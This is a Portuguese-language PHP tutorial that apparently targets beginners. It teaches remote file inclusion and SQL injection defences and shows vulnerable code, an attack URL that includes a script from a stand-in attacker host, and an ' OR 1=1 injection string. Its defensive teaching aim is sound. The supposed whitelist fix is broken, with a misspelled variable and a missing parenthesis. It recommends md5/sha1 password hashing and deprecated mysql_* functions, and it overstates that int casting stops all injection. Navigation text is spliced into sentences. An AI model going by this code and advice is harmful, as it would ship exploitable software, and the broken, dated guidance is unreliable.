Vou falar sobre alguns erros comuns que são cometidos por programadores que estão começando agora. Resolvi fazer esse artigo pois vejo diariamente em fóruns de PHP↳PHP44 conteúdosPadronizando seu código com PHP CS FixerDev (Back & Front) · mai 2019Docker de imagem. Para rodar projetos PHP em menos de 30 segundosDev (Back & Front) · jan 2026PHP 7.3: conheça as novidades desta versãoDev (Back & Front) · abr 2019Ver tudo em Dev (Back & Front) → pessoas com erros em scripts que possuem rombos enormes de segurança… Não prometo deixar o seu sistema tão protegido quanto o carro do Obama mas, sem dúvida, você vai evitar que muita gente faça um estrago considerável no seu site.
Se você se identificar com algumas dessas medidas não saia correndo e se jogue da ponte… Faça os devidos ajustes e tudo ficará bem!
Cuidados com a URL – Parte I
Uma falha muito comum são aqueles sites que, tentando usar um sistema “legal”, acabam abusando da sorte. São sites que incluem o conteúdo (via include()) baseado em uma variável do método $_GET. Exemplo:
<?php<br />// Verifica se a variável $_GET['pagina'] existe<br />if (isset($_GET['pagina'])) {<br />$arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina']<br />} else {<br />$arquivo = 'home.php'; // Se não existir variável, define um valor padrão<br />}<br />include ($arquivo); // Inclui o arquivo<br />?>E na URL do site ficaria:
http://www.meusite.com.br/?pagina=contato.php
Com isso o “invasor” pode, por exemplo, colocar um caminho de um script externo no lugar da variável:
http://www.meusite.com.br/?pagina=http://sitedumal.net/deleta-banco.php
O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele. O resto você já pode imaginar.
Evitar que isso aconteça é extremamente simples: é só criar um array contendo os nomes dos arquivos que poderão ser incluídos, dessa forma:
<?php<br />// Define uma lista com os arquivos que poderão ser chamados na URL<br />$perimitidos = array('home.php', 'produtos.php', 'contato.php', 'empresa.php');<br /> <br />// Verifica se a variável $_GET['pagina'] existe E se ela faz parte da lista de arquivos permitidos<br />if (isset($_GET['pagina']) AND (array_search($_GET['pagina'], $permitidos) !== false) {<br />$arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina']<br />} else {<br />$arquivo = 'home.php'; // Se não existir variável $_GET ou ela não estiver na lista de permissões, define um valor padrão<br />}<br />include ($arquivo); // Inclui o arquivo<br />?>Viu? Adicionamos uma única linha e mais uma condição e está tudo resolvido. Com isso, se o atacante colocar lá o site dele na URL do seu site, o PHP vai identificar que a variável $_GET[‘pagina’] existe mas não está no array $permitidos, então ele vai incluir o arquivo home.php.
Cuidados com a URL – Parte II
Outro erro comum é quando passamos parâmetros pela URL, por exemplo: o ID de uma categoria ou de um produto que, mais tarde, será buscado direto no banco para recolher algumas informações.
Geralmente o formato é o seguinte:
http://www.meusite.com.br/produtos.php?id=12
ou
http://www.meusite.com.br/?pagina=produtos.php&id=12
Com isso (se você não se preparar) você deixa uma porta aberta para um ataque famoso chamado SQL↳SQL64 conteúdosSQL Server – Como evitar SQL Injection?Data · mai 2019Azure SQL DB Managed InstanceData · abr 2019SQL Server – Como evitar SQL Injection? Pare de utilizar Query Dinâmica como EXEC(@Query)Data · abr 2019Ver tudo em Data →-Injection que nada mais é do que a inserção de um código SQL em um campo de texto ou parâmetro da URL que será enviado diretamente para o banco. Vamos a um exemplo:
<?php<br />// Formato da URL:<br />// http://www.meusite.com.br/produtos.php?id=12<br /> <br />// Salva o parâmetro da URL numa variável<br />$produto = $_GET['id'];<br /> <br />// Monta a consulta MySQL<br />$sql = "SELECT * FROM `produtos` WHERE `id` = '".$produto."' LIMIT 1";<br /> <br />// Executa a query<br />$query = mysql_query($sql);<br /> <br />// Salva o resultado (em formato de array) em uma variável<br />$resultado = mysql_fetch_assoc($query);<br /> <br />?>A sua consulta ao MySQL ficaria da seguinte forma:
SELECT * FROM `produtos` WHERE `id` = '12' LIMIT 1Até aqui tudo bem. Seu script funciona, você tem o que precisa e tá tudo na mais perfeita harmonia. Mas chega um desocupado invasor e modifica a sua URL deixando da seguinte forma:
http://www.meusite.com.br/produtos.php?id=’ OR 1=1 OR “=’
Agora a sua query MySQL fica assim:
SELECT * FROM `produtos` WHERE `id` = '' OR 1=1 OR '' = '' LIMIT 1Viu o que aconteceu? As possíveis condições para a consulta ser verdadeira são: id igual a vazio, 1 igual a 1 e vazio igual a vazio. Essa consulta vai ser dada como verdadeira e todos os produtos serão retornados. Sim, meu amigo, é o fim do mundo.
Mas, como eu disse, não estou aqui para te assustar e sim para mostrar como resolver o pepino. Vamos a uma atitude simples mas que te salvará do Apocalipse… É só mudar uma linha:
// Salva o parâmetro da URL numa variável obrigando-o a ser um valor inteiro<br />$produto = (int)$_GET['id'];Com isso eu digo que valor da variável $produto será igual ao valor inteiro (int de integer) da variável $_GET[‘id’]. Problema resolvido, meus caros! Se o atacante colocar uma string como parâmetro (todo SQL-Injection é uma string) ela será convertida para inteiro. E o valor inteiro de uma string é igual a zero.
Peço atenção dobrada para o entendimento desse último exemplo pois o SQL-Injection é o ataque mais comum dos últimos tempos.
Caso você passe parâmetros via URL que são strings e não números inteiros, você pode usar a função mysql_real_escape_string() da seguinte forma:
$parametro = mysql_real_escape_string($_GET['nome']);Com isso você evita o uso de aspas e caracteres protegidos do MySQL mantendo a sua query segura. Esse caso também vale para formulários dos quais os dados vão direto para consultas MySQL (formulários de login, cadastro e comentários, por exemplo).
Sobre Usuários e Senhas
Outro ponto muito importante é não exibir, em momento algum, o nome de login (usuário) de algum usuário cadastrado no sistema. Lembre-se que para um usuário conseguir invadir a conta do outro ele precisa de duas coisas: usuário (ou e-mail) e a senha.. Se ele souber o usuário já tem 50% de sucesso.
Vale lembrar, também, que você não precisa deixar a senha do usuário na forma real quando salvá-la no banco. É muito mais seguro salvar um md5() ou sha1() da senha no banco e quando for necessário fazer a validação do usuário você também gera o md5() ou sha1() da senha que ele digitou e compara com o que há no banco. Assim, se por ventura alguém conseguir invadir e pegar todos os registros do banco de usuários, o máximo que ele irá conseguir são o usuário/e-mail e uma senha criptografada.
Se quiser saber como funciona criptografica no PHP é só ver esse post no meu blog:
» Criptografia no PHP usando md5, sha1 e base64
Espero que tenham gostado! Até a próxima!





